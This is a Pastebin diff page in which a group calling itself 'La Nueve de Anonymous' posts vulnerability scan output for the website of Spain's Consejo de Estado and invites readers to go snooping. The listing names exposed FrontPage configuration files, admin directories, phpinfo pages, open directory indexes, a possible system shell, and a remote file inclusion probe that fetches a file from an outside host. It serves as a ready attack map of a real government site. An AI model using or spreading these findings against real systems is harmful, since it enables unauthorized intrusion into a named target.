View difference between Paste ID: 8DDV8GYw and j2MfLswr
SHOW: | | - or go back to the newest paste.
1
  _              ___        _                                  
2
 | |            / _ \      | |          /\                      
3
 | |     __ _  | (_) |   __| | ___     /  \   _ __   ___  _ __  
4
 | |    / _` |  \__, |  / _` |/ _ \   / /\ \ | '_ \ / _ \| '_ \
5
 | |___| (_| |    / /  | (_| |  __/  / ____ \| | | | (_) | | | |
6
 |______\__,_|   /_/    \__,_|\___| /_/    \_|_| |_|\___/|_| |_|
7
8
OSVDB en la Web del Consejo de Estado
9
##########################################
10
11
Parece que en el Consejo de Estado tienen algunos asuntillos a la vista de todo el mundo... Como una nunca sabe si de esta gente se puede fiar, os dejamos los encales por si queréis cotillear ;-) 
12
13
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
14
+ OSVDB-3092: /_vti_pvt/deptodoc.btr: FrontPage file found. This may contain useful information.
15
+ OSVDB-3092: /_vti_pvt/doctodep.btr: FrontPage file found. This may contain useful information.
16
+ OSVDB-473: /_vti_pvt/botinfs.cnf: FrontPage file found. This may contain useful information.
17
+ OSVDB-473: /_vti_pvt/bots.cnf: FrontPage file found. This may contain useful information.
18
+ OSVDB-473: /_vti_pvt/service.cnf: Contains meta-information about the web server Remove or ACL if FrontPage is not being used.
19
+ OSVDB-473: /_vti_pvt/services.cnf: Contains the list of subwebs. Remove or ACL if FrontPage is not being used. May reveal server version if Admin has changed it.
20
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
21
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
22
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
23
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
24
+ OSVDB-3268: /pdf/: Directory indexing found.
25
+ OSVDB-3092: /admin/: This might be interesting...
26
+ OSVDB-3268: /img/: Directory indexing found.
27
+ OSVDB-3092: /img/: This might be interesting...
28
+ OSVDB-3092: /test.htm: This might be interesting...
29
+ OSVDB-3092: /scripts/: This might be interesting... possibly a system shell found.
30
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.
31
+ OSVDB-3268: /_private/: Directory indexing found.
32
+ OSVDB-3233: /_private/: FrontPage directory found.
33
+ /info.php: Output from the phpinfo() function was found.
34
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
35
+ OSVDB-3268: /images/: Directory indexing found.
36
+ OSVDB-3268: /docs/: Directory indexing found.
37
+ OSVDB-3268: /styles/: Directory indexing found.
38
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
39
+ OSVDB-3092: /Admin/: This might be interesting...
40
+ /info.php?file=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.
41
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
42
+ /_vti_pvt/structure.cnf: FrontPage/Sharepointfile available.
43
44
Inglorious /b/asterds
45
La Nueve de Anonymous
46
47
#yak42